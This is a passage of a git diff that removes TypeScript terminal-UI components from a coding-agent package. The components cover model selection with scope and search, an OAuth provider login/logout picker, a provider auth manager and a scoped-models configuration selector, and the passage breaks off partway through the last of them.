- private scopeText?: Text; - private scopeHintText?: Text; - - constructor( - tui: TUI, - currentModel: Model | undefined, - settingsManager: SettingsManager, - modelRegistry: ModelRegistry, - scopedModels: ReadonlyArray, - onSelect: (model: Model) => void, - onCancel: () => void, - onConfigChange?: () => void, - initialSearchInput?: string, - ) { - super(); - - this.tui = tui; - this.currentModel = currentModel; - this.settingsManager = settingsManager; - this.modelRegistry = modelRegistry; - this.scopedModels = scopedModels; - // Only land in "scoped" view when at least one scoped model has working - // auth — otherwise the user would see an empty picker (#unconfigured-models). - const hasReadyScopedModel = scopedModels.some((scoped) => - modelRegistry.isProviderRequestReady(scoped.model.provider), - ); - this.scope = hasReadyScopedModel ? "scoped" : "all"; - this.onSelectCallback = onSelect; - this.onCancelCallback = onCancel; - this.onConfigChange = onConfigChange; - - // Add top border - this.addChild(new DynamicBorder()); - this.addChild(new Spacer(1)); - - // Add hint about model filtering - if (scopedModels.length > 0) { - this.scopeText = new Text(this.getScopeText(), 0, 0); - this.addChild(this.scopeText); - this.scopeHintText = new Text(this.getScopeHintText(), 0, 0); - this.addChild(this.scopeHintText); - } else { - const hintText = - "Browse all models; disabled or unready entries cannot be selected"; - this.addChild(new Text(theme.fg("warning", hintText), 0, 0)); - } - this.addChild(new Spacer(1)); - - // Create search input - this.searchInput = new Input(); - if (initialSearchInput) { - this.searchInput.setValue(initialSearchInput); - } - this.searchInput.onSubmit = () => { - if (this.isSearching) { - if (this.filteredModels[this.selectedFlatIndex]) { - this.handleSelect(this.filteredModels[this.selectedFlatIndex].model); - } - } else { - const model = this.getSelectedModel(); - if (model) this.handleSelect(model); - } - }; - this.addChild(this.searchInput); - - this.addChild(new Spacer(1)); - - // Create list container - this.listContainer = new Container(); - this.addChild(this.listContainer); - - this.addChild(new Spacer(1)); - - // Add bottom border - this.addChild(new DynamicBorder()); - - // Load models and do initial render - this.loadModels().then(() => { - if (initialSearchInput) { - this.isSearching = true; - this.filterModels(initialSearchInput); - } else { - this.buildGroupedRows(); - this.jumpToCurrentModel(); - this.updateList(); - } - // Request re-render after models are loaded - this.tui.requestRender(); - }); - } - - private async loadModels(): Promise { - let models: ModelItem[]; - - // Refresh to pick up any changes to models.json - this.modelRegistry.refresh(); - - // Check for models.json errors - const loadError = this.modelRegistry.getError(); - if (loadError) { - this.errorMessage = loadError; - } - - // Load available models (built-in models still work even if models.json failed) - try { - const allModels = this.modelRegistry.getAll(); - models = allModels.map((model: Model) => ({ - provider: model.provider, - id: model.id, - model, - })); - } catch (error) { - this.allModels = []; - this.scopedModelItems = []; - this.activeModels = []; - this.filteredModels = []; - this.groupedRows = []; - this.modelRowIndices = []; - this.errorMessage = - error instanceof Error ? error.message : String(error); - return; - } - - this.allModels = this.sortModelsWithinProvider(models); - this.scopedModelItems = this.sortModelsWithinProvider( - this.scopedModels.map((scoped) => ({ - provider: scoped.model.provider, - id: scoped.model.id, - model: scoped.model, - })), - ); - this.activeModels = - this.scope === "scoped" ? this.scopedModelItems : this.allModels; - this.filteredModels = this.activeModels; - } - - /** - * Sort models within each provider: current model first, then by name desc. - * Provider ordering is handled separately in buildGroupedRows(). - */ - private sortModelsWithinProvider(models: ModelItem[]): ModelItem[] { - const sorted = [...models]; - sorted.sort((a, b) => { - const aIsCurrent = modelsAreEqual(this.currentModel, a.model); - const bIsCurrent = modelsAreEqual(this.currentModel, b.model); - if (aIsCurrent && !bIsCurrent) return -1; - if (!aIsCurrent && bIsCurrent) return 1; - // Within provider: newest/largest model name first - const nameCmp = b.model.name.localeCompare(a.model.name); - if (nameCmp !== 0) return nameCmp; - return a.provider.localeCompare(b.provider); - }); - return sorted; - } - - /** - * Build the grouped rows array for browse mode. - * Current model's provider comes first; remaining providers sorted alphabetically. - */ - private buildGroupedRows(): void { - // Group models by provider - const byProvider = new Map(); - for (const item of this.activeModels) { - let group = byProvider.get(item.provider); - if (!group) { - group = []; - byProvider.set(item.provider, group); - } - group.push(item); - } - - // Determine provider order: current model's provider first, rest alphabetically - const currentProvider = this.currentModel?.provider; - const providers = Array.from(byProvider.keys()).sort((a, b) => { - if (a === currentProvider) return -1; - if (b === currentProvider) return 1; - return a.localeCompare(b); - }); - - const rows: ListRow[] = []; - const modelIndices: number[] = []; - - for (const provider of providers) { - const items = byProvider.get(provider)!; - rows.push({ kind: "header", provider, count: items.length }); - for (const item of items) { - modelIndices.push(rows.length); - rows.push({ kind: "model", item }); - } - } - - this.groupedRows = rows; - this.modelRowIndices = modelIndices; - } - - /** - * Move selectedGroupIndex to point at the current model (or first model). - */ - private jumpToCurrentModel(): void { - if (this.groupedRows.length === 0) { - this.selectedGroupIndex = 0; - return; - } - // Find the current model in grouped rows - for (let i = 0; i < this.groupedRows.length; i++) { - const row = this.groupedRows[i]; - if ( - row.kind === "model" && - modelsAreEqual(this.currentModel, row.item.model) - ) { - this.selectedGroupIndex = i; - return; - } - } - // Fall back to first model row - if (this.modelRowIndices.length > 0) { - this.selectedGroupIndex = this.modelRowIndices[0]; - } - } - - /** - * Get the currently selected model from grouped or flat state. - */ - private getSelectedModel(): Model | undefined { - if (this.isSearching) { - return this.filteredModels[this.selectedFlatIndex]?.model; - } - const row = this.groupedRows[this.selectedGroupIndex]; - return row?.kind === "model" ? row.item.model : undefined; - } - - private getScopeText(): string { - const allText = - this.scope === "all" - ? theme.fg("accent", "all") - : theme.fg("muted", "all"); - const scopedText = - this.scope === "scoped" - ? theme.fg("accent", "scoped") - : theme.fg("muted", "scoped"); - return `${theme.fg("muted", "Scope: ")}${allText}${theme.fg("muted", " | ")}${scopedText}`; - } - - private getScopeHintText(): string { - return ( - keyHint("tab", "scope") + - theme.fg("muted", " (all/scoped) ") + - rawKeyHint("d", "disable") - ); - } - - private setScope(scope: ModelScope): void { - if (this.scope === scope) return; - this.scope = scope; - this.activeModels = - this.scope === "scoped" ? this.scopedModelItems : this.allModels; - - if (this.isSearching) { - this.selectedFlatIndex = 0; - this.filterModels(this.searchInput.getValue()); - } else { - this.buildGroupedRows(); - this.jumpToCurrentModel(); - this.updateList(); - } - - if (this.scopeText) { - this.scopeText.setText(this.getScopeText()); - } - } - - private filterModels(query: string): void { - this.filteredModels = query - ? fuzzyFilter( - this.activeModels, - query, - ({ id, provider }) => `${id} ${provider}`, - ) - : this.activeModels; - this.selectedFlatIndex = Math.min( - this.selectedFlatIndex, - Math.max(0, this.filteredModels.length - 1), - ); - this.updateList(); - } - - private updateList(): void { - this.listContainer.clear(); - - if (this.errorMessage) { - const errorLines = this.errorMessage.split("\n"); - for (const line of errorLines) { - this.listContainer.addChild(new Text(theme.fg("error", line), 0, 0)); - } - return; - } - - if (this.isSearching) { - this.renderFlatList(); - } else { - this.renderGroupedList(); - } - } - - /** Flat fuzzy-search results, same as original behaviour */ - private renderFlatList(): void { - const maxVisible = 10; - - if (this.filteredModels.length === 0) { - this.listContainer.addChild( - new Text(theme.fg("muted", " No matching models"), 0, 0), - ); - return; - } - - const startIndex = Math.max( - 0, - Math.min( - this.selectedFlatIndex - Math.floor(maxVisible / 2), - this.filteredModels.length - maxVisible, - ), - ); - const endIndex = Math.min( - startIndex + maxVisible, - this.filteredModels.length, - ); - - for (let i = startIndex; i < endIndex; i++) { - const item = this.filteredModels[i]; - if (!item) continue; - - const isSelected = i === this.selectedFlatIndex; - const isCurrent = modelsAreEqual(this.currentModel, item.model); - const statusBadge = this.modelStatusBadge(item.model); - const selectable = this.isModelSelectable(item.model); - - const ctx = formatTokenCount(item.model.contextWindow); - const ctxBadge = theme.fg("muted", `${ctx}`); - const providerBadge = theme.fg( - "muted", - `[${providerDisplayName(item.provider)}]`, - ); - const checkmark = isCurrent ? theme.fg("success", " ✓") : ""; - - let line: string; - if (isSelected) { - const prefix = theme.fg("accent", "→ "); - const modelText = selectable - ? theme.fg("accent", item.id) - : theme.fg("muted", item.id); - line = `${prefix}${modelText} ${ctxBadge} ${providerBadge}${statusBadge}${checkmark}`; - } else { - const modelText = selectable ? item.id : theme.fg("muted", item.id); - line = ` ${modelText} ${ctxBadge} ${providerBadge}${statusBadge}${checkmark}`; - } - - this.listContainer.addChild(new Text(line, 0, 0)); - } - - if (startIndex > 0 || endIndex < this.filteredModels.length) { - this.listContainer.addChild( - new Text( - theme.fg( - "muted", - ` (${this.selectedFlatIndex + 1}/${this.filteredModels.length})`, - ), - 0, - 0, - ), - ); - } - - // Detail line for selected model - const selected = this.filteredModels[this.selectedFlatIndex]; - if (selected) { - this.listContainer.addChild(new Spacer(1)); - this.listContainer.addChild( - new Text( - theme.fg("muted", ` ${this.modelDetailLine(selected.model)}`), - 0, - 0, - ), - ); - } - } - - /** - * Grouped browse view: provider headers + model rows, windowed around selection. - * Shows enough rows to fill ~10 visible lines; headers count as one line each. - */ - private renderGroupedList(): void { - const maxVisible = 12; - - if (this.groupedRows.length === 0) { - this.listContainer.addChild( - new Text(theme.fg("muted", " No models available"), 0, 0), - ); - return; - } - - // Window around selectedGroupIndex - const startIndex = Math.max( - 0, - Math.min( - this.selectedGroupIndex - Math.floor(maxVisible / 2), - this.groupedRows.length - maxVisible, - ), - ); - const endIndex = Math.min(startIndex + maxVisible, this.groupedRows.length); - - for (let i = startIndex; i < endIndex; i++) { - const row = this.groupedRows[i]; - if (!row) continue; - - if (row.kind === "header") { - // Provider group header — always unselectable - const providerLabel = theme.fg( - i === this.selectedGroupIndex ? "accent" : "borderAccent", - providerDisplayName(row.provider), - ); - const count = theme.fg("muted", ` (${row.count})`); - const disabledBadge = this.settingsManager.isProviderDisabled( - row.provider, - ) - ? theme.fg("warning", " [disabled]") - : ""; - // Add blank line before header if not the very first visible row - if (i > startIndex) { - this.listContainer.addChild(new Text("", 0, 0)); - } - this.listContainer.addChild( - new Text(` ${providerLabel}${count}${disabledBadge}`, 0, 0), - ); - } else { - // Model row - const isSelected = i === this.selectedGroupIndex; - const isCurrent = modelsAreEqual(this.currentModel, row.item.model); - const statusBadge = this.modelStatusBadge(row.item.model); - const selectable = this.isModelSelectable(row.item.model); - - const ctx = formatTokenCount(row.item.model.contextWindow); - const ctxBadge = theme.fg("muted", ` ${ctx}`); - const checkmark = isCurrent ? theme.fg("success", " ✓") : ""; - - let line: string; - if (isSelected) { - const modelText = selectable - ? theme.fg("accent", row.item.id) - : theme.fg("muted", row.item.id); - line = ` ${theme.fg("accent", "→")} ${modelText}${ctxBadge}${statusBadge}${checkmark}`; - } else { - const modelText = selectable - ? row.item.id - : theme.fg("muted", row.item.id); - line = ` ${modelText}${ctxBadge}${statusBadge}${checkmark}`; - } - - this.listContainer.addChild(new Text(line, 0, 0)); - } - } - - // Scroll indicator - if (startIndex > 0 || endIndex < this.groupedRows.length) { - const modelPos = - this.modelRowIndices.indexOf(this.selectedGroupIndex) + 1; - const totalModels = this.modelRowIndices.length; - this.listContainer.addChild( - new Text(theme.fg("muted", ` (${modelPos}/${totalModels})`), 0, 0), - ); - } - - // Detail line for selected model - const selectedModel = this.getSelectedModel(); - if (selectedModel) { - this.listContainer.addChild(new Spacer(1)); - this.listContainer.addChild( - new Text( - theme.fg("muted", ` ${this.modelDetailLine(selectedModel)}`), - 0, - 0, - ), - ); - } - } - - private modelDetailLine(m: Model): string { - return [ - m.name, - `ctx: ${formatTokenCount(m.contextWindow)}`, - `out: ${formatTokenCount(m.maxTokens)}`, - this.modelStatusText(m), - m.reasoning ? "thinking" : "", - m.input.includes("image") ? "vision" : "", - ] - .filter(Boolean) - .join(" · "); - } - - handleInput(keyData: string): void { - const kb = getEditorKeybindings(); - - // Tab: scope toggle - if (kb.matches(keyData, "tab")) { - if (this.scopedModelItems.length > 0) { - const nextScope: ModelScope = this.scope === "all" ? "scoped" : "all"; - this.setScope(nextScope); - if (this.scopeHintText) { - this.scopeHintText.setText(this.getScopeHintText()); - } - } - return; - } - - if (keyData === "d" || keyData === "D") { - this.handleDisableToggle(); - return; - } - - // Navigation keys - if (kb.matches(keyData, "selectUp")) { - this.moveUp(); - return; - } - if (kb.matches(keyData, "selectDown")) { - this.moveDown(); - return; - } - - // Confirm - if (kb.matches(keyData, "selectConfirm")) { - const model = this.getSelectedModel(); - if (model) this.handleSelect(model); - return; - } - - // Cancel - if (kb.matches(keyData, "selectCancel")) { - this.onCancelCallback(); - return; - } - - // Everything else: feed to search input - const prevQuery = this.searchInput.getValue(); - this.searchInput.handleInput(keyData); - const newQuery = this.searchInput.getValue(); - - if (newQuery !== prevQuery) { - const entering = !prevQuery && !!newQuery; - const leaving = !!prevQuery && !newQuery; - - if (entering) { - // Entering search mode: remember current model position - this.isSearching = true; - this.selectedFlatIndex = 0; - } else if (leaving) { - // Leaving search mode: return to grouped view, restore position - this.isSearching = false; - this.buildGroupedRows(); - this.jumpToCurrentModel(); - } - if (this.isSearching) { - this.filterModels(newQuery); - } else { - this.updateList(); - } - } - } - - /** Move selection up, skipping headers in grouped mode */ - private moveUp(): void { - if (this.isSearching) { - if (this.filteredModels.length === 0) return; - this.selectedFlatIndex = - this.selectedFlatIndex === 0 - ? this.filteredModels.length - 1 - : this.selectedFlatIndex - 1; - this.updateList(); - return; - } - - if (this.groupedRows.length === 0) return; - let next = this.selectedGroupIndex - 1; - // Wrap - if (next < 0) next = this.groupedRows.length - 1; - this.selectedGroupIndex = next; - this.updateList(); - } - - /** Move selection down, skipping headers in grouped mode */ - private moveDown(): void { - if (this.isSearching) { - if (this.filteredModels.length === 0) return; - this.selectedFlatIndex = - this.selectedFlatIndex === this.filteredModels.length - 1 - ? 0 - : this.selectedFlatIndex + 1; - this.updateList(); - return; - } - - if (this.groupedRows.length === 0) return; - let next = this.selectedGroupIndex + 1; - // Wrap - if (next >= this.groupedRows.length) next = 0; - this.selectedGroupIndex = next; - this.updateList(); - } - - private handleSelect(model: Model): void { - if (!this.isModelSelectable(model)) return; - // Save as new default - this.settingsManager.setDefaultModelAndProvider(model.provider, model.id); - this.onSelectCallback(model); - } - - private isModelSelectable(model: Model): boolean { - return ( - this.modelRegistry.isModelEnabled(model) && - this.modelRegistry.isProviderRequestReady(model.provider) - ); - } - - private modelStatusText(model: Model): string { - if (this.settingsManager.isProviderDisabled(model.provider)) { - return "provider disabled"; - } - if (this.settingsManager.isModelDisabled(model.provider, model.id)) { - return "model disabled"; - } - if (!this.modelRegistry.isProviderRequestReady(model.provider)) { - return "auth unavailable"; - } - return ""; - } - - private modelStatusBadge(model: Model): string { - const status = this.modelStatusText(model); - return status ? theme.fg("warning", ` [${status}]`) : ""; - } - - private handleDisableToggle(): void { - if (this.isSearching) { - const item = this.filteredModels[this.selectedFlatIndex]; - if (!item) return; - this.settingsManager.toggleModelDisabled(item.provider, item.id); - } else { - const row = this.groupedRows[this.selectedGroupIndex]; - if (!row) return; - if (row.kind === "header") { - this.settingsManager.toggleProviderDisabled(row.provider); - } else { - this.settingsManager.toggleModelDisabled( - row.item.provider, - row.item.id, - ); - } - } - this.onConfigChange?.(); - this.modelRegistry.refresh(); - void this.loadModels().then(() => { - if (this.isSearching) { - this.filterModels(this.searchInput.getValue()); - } else { - this.buildGroupedRows(); - if (this.selectedGroupIndex >= this.groupedRows.length) { - this.selectedGroupIndex = Math.max(0, this.groupedRows.length - 1); - } - this.updateList(); - } - this.tui.requestRender(); - }); - } - - getSearchInput(): Input { - return this.searchInput; - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/oauth-selector.ts b/packages/pi-coding-agent/src/modes/interactive/components/oauth-selector.ts deleted file mode 100644 index 260c50e44..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/oauth-selector.ts +++ /dev/null @@ -1,141 +0,0 @@ -import type { OAuthProviderInterface } from "@singularity-forge/pi-ai"; -import { getOAuthProviders } from "@singularity-forge/pi-ai/oauth"; -import { - Container, - getEditorKeybindings, - Spacer, - TruncatedText, -} from "@singularity-forge/pi-tui"; -import type { AuthStorage } from "../../../core/auth-storage.js"; -import { theme } from "../theme/theme.js"; -import { DynamicBorder } from "./dynamic-border.js"; - -/** - * Component that renders an OAuth provider selector - */ -export class OAuthSelectorComponent extends Container { - private listContainer: Container; - private allProviders: OAuthProviderInterface[] = []; - private selectedIndex: number = 0; - private mode: "login" | "logout"; - private authStorage: AuthStorage; - private onSelectCallback: (providerId: string) => void; - private onCancelCallback: () => void; - - constructor( - mode: "login" | "logout", - authStorage: AuthStorage, - onSelect: (providerId: string) => void, - onCancel: () => void, - ) { - super(); - - this.mode = mode; - this.authStorage = authStorage; - this.onSelectCallback = onSelect; - this.onCancelCallback = onCancel; - - // Load all OAuth providers - this.loadProviders(); - - // Add top border - this.addChild(new DynamicBorder()); - this.addChild(new Spacer(1)); - - // Add title - const title = - mode === "login" - ? "Select provider to login:" - : "Select provider to logout:"; - this.addChild(new TruncatedText(theme.bold(title))); - this.addChild(new Spacer(1)); - - // Create list container - this.listContainer = new Container(); - this.addChild(this.listContainer); - - this.addChild(new Spacer(1)); - - // Add bottom border - this.addChild(new DynamicBorder()); - - // Initial render - this.updateList(); - } - - private loadProviders(): void { - this.allProviders = getOAuthProviders(); - } - - private updateList(): void { - this.listContainer.clear(); - - for (let i = 0; i < this.allProviders.length; i++) { - const provider = this.allProviders[i]; - if (!provider) continue; - - const isSelected = i === this.selectedIndex; - - // Check if user is logged in for this provider - const credentials = this.authStorage.get(provider.id); - const isLoggedIn = credentials?.type === "oauth"; - const statusIndicator = isLoggedIn - ? theme.fg("success", " ✓ logged in") - : ""; - - let line = ""; - if (isSelected) { - const prefix = theme.fg("accent", "→ "); - const text = theme.fg("accent", provider.name); - line = prefix + text + statusIndicator; - } else { - const text = ` ${provider.name}`; - line = text + statusIndicator; - } - - this.listContainer.addChild(new TruncatedText(line, 0, 0)); - } - - // Show "no providers" if empty - if (this.allProviders.length === 0) { - const message = - this.mode === "login" - ? "No OAuth providers available" - : "No OAuth providers logged in. Use /login first."; - this.listContainer.addChild( - new TruncatedText(theme.fg("muted", ` ${message}`), 0, 0), - ); - } - } - - handleInput(keyData: string): void { - const kb = getEditorKeybindings(); - // Up arrow (wrap) - if (kb.matches(keyData, "selectUp")) { - this.selectedIndex = - this.selectedIndex === 0 - ? this.allProviders.length - 1 - : this.selectedIndex - 1; - this.updateList(); - } - // Down arrow (wrap) - else if (kb.matches(keyData, "selectDown")) { - this.selectedIndex = - this.selectedIndex === this.allProviders.length - 1 - ? 0 - : this.selectedIndex + 1; - this.updateList(); - } - // Enter - else if (kb.matches(keyData, "selectConfirm")) { - const selectedProvider = this.allProviders[this.selectedIndex]; - if (selectedProvider) { - this.onSelectCallback(selectedProvider.id); - } - } - // Escape or Ctrl+C - else if (kb.matches(keyData, "selectCancel")) { - this.onCancelCallback(); - } - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/provider-manager.ts b/packages/pi-coding-agent/src/modes/interactive/components/provider-manager.ts deleted file mode 100644 index cd7338511..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/provider-manager.ts +++ /dev/null @@ -1,241 +0,0 @@ -/** - * TUI component for managing provider configurations. - * Shows providers with auth status, discovery support, and model counts. - */ - -import { - Container, - type Focusable, - getEditorKeybindings, - Spacer, - Text, - type TUI, -} from "@singularity-forge/pi-tui"; -import type { AuthStorage } from "../../../core/auth-storage.js"; -import { getDiscoverableProviders } from "../../../core/model-discovery.js"; -import type { ModelRegistry } from "../../../core/model-registry.js"; -import { ModelsJsonWriter } from "../../../core/models-json-writer.js"; -import { theme } from "../theme/theme.js"; -import { rawKeyHint } from "./keybinding-hints.js"; -import { providerDisplayName } from "./model-selector.js"; - -interface ProviderInfo { - name: string; - hasAuth: boolean; - supportsDiscovery: boolean; - modelCount: number; -} - -export class ProviderManagerComponent extends Container implements Focusable { - private _focused = false; - get focused(): boolean { - return this._focused; - } - set focused(value: boolean) { - this._focused = value; - } - - private providers: ProviderInfo[] = []; - private selectedIndex = 0; - private listContainer: Container; - private tui: TUI; - private authStorage: AuthStorage; - private modelRegistry: ModelRegistry; - private modelsJsonWriter: ModelsJsonWriter; - private onDone: () => void; - private onDiscover: (provider: string) => void; - private onSetupAuth: (provider: string) => void; - private confirmingRemove = false; - private hintsContainer: Container; - - constructor( - tui: TUI, - authStorage: AuthStorage, - modelRegistry: ModelRegistry, - onDone: () => void, - onDiscover: (provider: string) => void, - onSetupAuth?: (provider: string) => void, - ) { - super(); - - this.tui = tui; - this.authStorage = authStorage; - this.modelRegistry = modelRegistry; - this.modelsJsonWriter = new ModelsJsonWriter( - this.modelRegistry.modelsJsonPath, - ); - this.onDone = onDone; - this.onDiscover = onDiscover; - this.onSetupAuth = onSetupAuth ?? (() => {}); - - // Header - this.addChild(new Text(theme.fg("accent", "Provider Manager"), 0, 0)); - this.addChild(new Spacer(1)); - - // Hints - this.hintsContainer = new Container(); - this.addChild(this.hintsContainer); - this.updateHints(); - this.addChild(new Spacer(1)); - - // List - this.listContainer = new Container(); - this.addChild(this.listContainer); - - this.loadProviders(); - this.updateList(); - } - - private loadProviders(): void { - const discoverableSet = new Set(getDiscoverableProviders()); - const allModels = this.modelRegistry.getAll(); - - // Group models by provider - const providerModelCounts = new Map(); - for (const model of allModels) { - providerModelCounts.set( - model.provider, - (providerModelCounts.get(model.provider) ?? 0) + 1, - ); - } - - // Build provider list from all known providers - const providerNames = new Set([ - ...providerModelCounts.keys(), - ...discoverableSet, - ]); - - this.providers = Array.from(providerNames) - .sort() - .map((name) => ({ - name, - hasAuth: this.authStorage.hasAuth(name), - supportsDiscovery: discoverableSet.has(name), - modelCount: providerModelCounts.get(name) ?? 0, - })); - this.clampSelectedIndex(); - } - - private clampSelectedIndex(): void { - if (this.providers.length === 0) { - this.selectedIndex = 0; - return; - } - this.selectedIndex = Math.min( - this.selectedIndex, - this.providers.length - 1, - ); - } - - private updateHints(): void { - this.hintsContainer.clear(); - if (this.confirmingRemove) { - const hints = [ - rawKeyHint("r", "confirm removal"), - rawKeyHint("esc", "cancel"), - ].join(" "); - this.hintsContainer.addChild(new Text(hints, 0, 0)); - } else { - const hints = [ - rawKeyHint("enter", "setup auth"), - rawKeyHint("d", "discover"), - rawKeyHint("r", "remove auth"), - rawKeyHint("esc", "close"), - ].join(" "); - this.hintsContainer.addChild(new Text(hints, 0, 0)); - } - } - - private updateList(): void { - this.listContainer.clear(); - - for (let i = 0; i < this.providers.length; i++) { - const p = this.providers[i]; - const isSelected = i === this.selectedIndex; - - const authBadge = p.hasAuth - ? theme.fg("success", "[auth]") - : theme.fg("muted", "[no auth]"); - const discoveryBadge = p.supportsDiscovery - ? theme.fg("accent", "[discovery]") - : ""; - const countBadge = theme.fg("muted", `(${p.modelCount} models)`); - - const prefix = isSelected ? theme.fg("accent", "> ") : " "; - const nameText = isSelected - ? theme.fg("accent", providerDisplayName(p.name)) - : providerDisplayName(p.name); - - const parts = [prefix, nameText, " ", authBadge]; - if (discoveryBadge) parts.push(" ", discoveryBadge); - parts.push(" ", countBadge); - - this.listContainer.addChild(new Text(parts.join(""), 0, 0)); - } - - if (this.providers.length === 0) { - this.listContainer.addChild( - new Text(theme.fg("muted", " No providers configured"), 0, 0), - ); - } - } - - handleInput(keyData: string): void { - const kb = getEditorKeybindings(); - - if (kb.matches(keyData, "selectUp")) { - if (this.providers.length === 0) return; - this.selectedIndex = - this.selectedIndex === 0 - ? this.providers.length - 1 - : this.selectedIndex - 1; - this.updateList(); - this.tui.requestRender(); - } else if (kb.matches(keyData, "selectDown")) { - if (this.providers.length === 0) return; - this.selectedIndex = - this.selectedIndex === this.providers.length - 1 - ? 0 - : this.selectedIndex + 1; - this.updateList(); - this.tui.requestRender(); - } else if (kb.matches(keyData, "selectCancel")) { - if (this.confirmingRemove) { - this.confirmingRemove = false; - this.updateHints(); - this.tui.requestRender(); - } else { - this.onDone(); - } - } else if (keyData === "d" || keyData === "D") { - const provider = this.providers[this.selectedIndex]; - if (provider?.supportsDiscovery) { - this.onDiscover(provider.name); - } - } else if (keyData === "r" || keyData === "R") { - const provider = this.providers[this.selectedIndex]; - if (provider?.hasAuth) { - if (this.confirmingRemove) { - this.confirmingRemove = false; - this.authStorage.remove(provider.name); - this.modelsJsonWriter.removeProvider(provider.name); - this.modelRegistry.refresh(); - this.loadProviders(); - this.updateHints(); - this.updateList(); - this.tui.requestRender(); - } else { - this.confirmingRemove = true; - this.updateHints(); - this.tui.requestRender(); - } - } - } else if (kb.matches(keyData, "selectConfirm")) { - // Enter key → initiate auth setup for the selected provider (#3579) - const provider = this.providers[this.selectedIndex]; - if (provider) { - this.onSetupAuth(provider.name); - } - } - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/scoped-models-selector.ts b/packages/pi-coding-agent/src/modes/interactive/components/scoped-models-selector.ts deleted file mode 100644 index 2c8d7a2a7..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/scoped-models-selector.ts +++ /dev/null @@ -1,443 +0,0 @@ -import type { Model } from "@singularity-forge/pi-ai"; -import { - Container, - type Focusable, - fuzzyFilter, - getEditorKeybindings, - Input, - Key, - matchesKey, - Spacer, - Text, -} from "@singularity-forge/pi-tui"; -import { theme } from "../theme/theme.js"; -import { DynamicBorder } from "./dynamic-border.js"; -import { providerDisplayName } from "./model-selector.js"; - -// EnabledIds: null = all enabled (no filter), string[] = explicit ordered list -type EnabledIds = string[] | null; - -function isEnabled(enabledIds: EnabledIds, id: string): boolean { - return enabledIds === null || enabledIds.includes(id); -} - -function toggle(enabledIds: EnabledIds, id: string): EnabledIds { - if (enabledIds === null) return [id]; // First toggle: start with only this one - const index = enabledIds.indexOf(id); - if (index >= 0) - return [...enabledIds.slice(0, index), ...enabledIds.slice(index + 1)]; - return [...enabledIds, id]; -} - -function enableAll( - enabledIds: EnabledIds, - allIds: string[], - targetIds?: string[], -): EnabledIds { - if (enabledIds === null) return null; // Already all enabled - const targets = targetIds ?? allIds; - const result = [...enabledIds]; - for (const id of targets) { - if (!result.includes(id)) result.push(id); - } - return result.length === allIds.length ? null : result; -} - -function clearAll( - enabledIds: EnabledIds, - allIds: string[], - targetIds?: string[], -): EnabledIds { - if (enabledIds === null) { - return targetIds ? allIds.filter((id) => !targetIds.includes(id)) : []; - } - const targets = new Set(targetIds ?? enabledIds); - return enabledIds.filter((id) => !targets.has(id)); -} - -function move( - enabledIds: EnabledIds, - allIds: string[], - id: string, - delta: number, -): EnabledIds { - const list = enabledIds ?? [...allIds]; - const index = list.indexOf(id); - if (index < 0) return list; - const newIndex = index + delta; - if (newIndex < 0 || newIndex >= list.length) return list; - const result = [...list]; - [result[index], result[newIndex]] = [result[newIndex], result[index]]; - return result; -} - -function getSortedIds(enabledIds: EnabledIds, allIds: string[]): string[] { - if (enabledIds === null) return allIds; - const enabledSet = new Set(enabledIds); - return [...enabledIds, ...allIds.filter((id) => !enabledSet.has(id))]; -} - -interface ModelItem { - fullId: string; - model: Model; - enabled: boolean; -} - -export interface ModelsConfig { - allModels: Model[]; - enabledModelIds: Set; - /** true if enabledModels setting is defined (empty = all enabled) */ - hasEnabledModelsFilter: boolean; -} - -export interface ModelsCallbacks { - /** Called when a model is toggled (session-only, no persist) */ - onModelToggle: (modelId: string, enabled: boolean) => void; - /** Called when user wants to persist current selection to settings */ - onPersist: (enabledModelIds: string[]) => void; - /** Called when user enables all models. Returns list of all model IDs. */ - onEnableAll: (allModelIds: string[]) => void; - /** Called when user clears all models */ - onClearAll: () => void; - /** Called when user toggles all models for a provider. Returns affected model IDs. */ - onToggleProvider: ( - provider: string, - modelIds: string[], - enabled: boolean, - ) => void; - onCancel: () => void; -} - -/** - * Component for enabling/disabling models for Ctrl+P cycling. - * Changes are session-only until explicitly persisted with Ctrl+S. - */ -export class ScopedModelsSelectorComponent - extends Container - implements Focusable -{ - private modelsById: Map> = new Map(); - private allIds: string[] = []; - private enabledIds: EnabledIds = null; - private filteredItems: ModelItem[] = []; - private selectedIndex = 0; - private searchInput: Input; - - // Focusable implementation - propagate to searchInput for IME cursor positioning - private _focused = false; - get focused(): boolean { - return this._focused; - } - set focused(value: boolean) { - this._focused = value; - this.searchInput.focused = value; - } - private listContainer: Container; - private footerText: Text; - private callbacks: ModelsCallbacks; - private maxVisible = 15; - private isDirty = false; - - constructor(config: ModelsConfig, callbacks: ModelsCallbacks) { - super(); - this.callbacks = callbacks; - - for (const model of config.allModels) { - const fullId = `${model.provider}/${model.id}`; - this.modelsById.set(fullId, model); - this.allIds.push(fullId); - } - - this.enabledIds = config.hasEnabledModelsFilter - ? [...config.enabledModelIds] - : null; - this.filteredItems = this.buildItems(); - - // Header - this.addChild(new DynamicBorder()); - this.addChild(new Spacer(1)); - this.addChild( - new Text(theme.fg("accent", theme.bold("Model Configuration")), 0, 0), - ); - this.addChild( - new Text( - theme.fg("muted", "Session-only. Ctrl+S to save to settings."), - 0, - 0, - ), - ); - this.addChild(new Spacer(1)); - - // Search input - this.searchInput = new Input(); - this.addChild(this.searchInput); - this.addChild(new Spacer(1)); - - // List container - this.listContainer = new Container(); - this.addChild(this.listContainer); - - // Footer hint - this.addChild(new Spacer(1)); - this.footerText = new Text(this.getFooterText(), 0, 0); - this.addChild(this.footerText); - - this.addChild(new DynamicBorder()); - this.updateList(); - } - - private buildItems(): ModelItem[] { - // Filter out IDs that no longer have a corresponding model (e.g., after logout) - return getSortedIds(this.enabledIds, this.allIds) - .filter((id) => this.modelsById.has(id)) - .map((id) => ({ - fullId: id, - model: this.modelsById.get(id)!, - enabled: isEnabled(this.enabledIds, id), - })); - } - - private getFooterText(): string { - const enabledCount = this.enabledIds?.length ?? this.allIds.length; - const allEnabled = this.enabledIds === null; - const countText = allEnabled - ? "all enabled" - : `${enabledCount}/${this.allIds.length} enabled`; - const parts = [ - "Enter toggle", - "^A all", - "^X clear", - "^P provider", - `${process.platform === "darwin" ? "⌥↑↓" : "Alt+↑↓"} reorder`, - 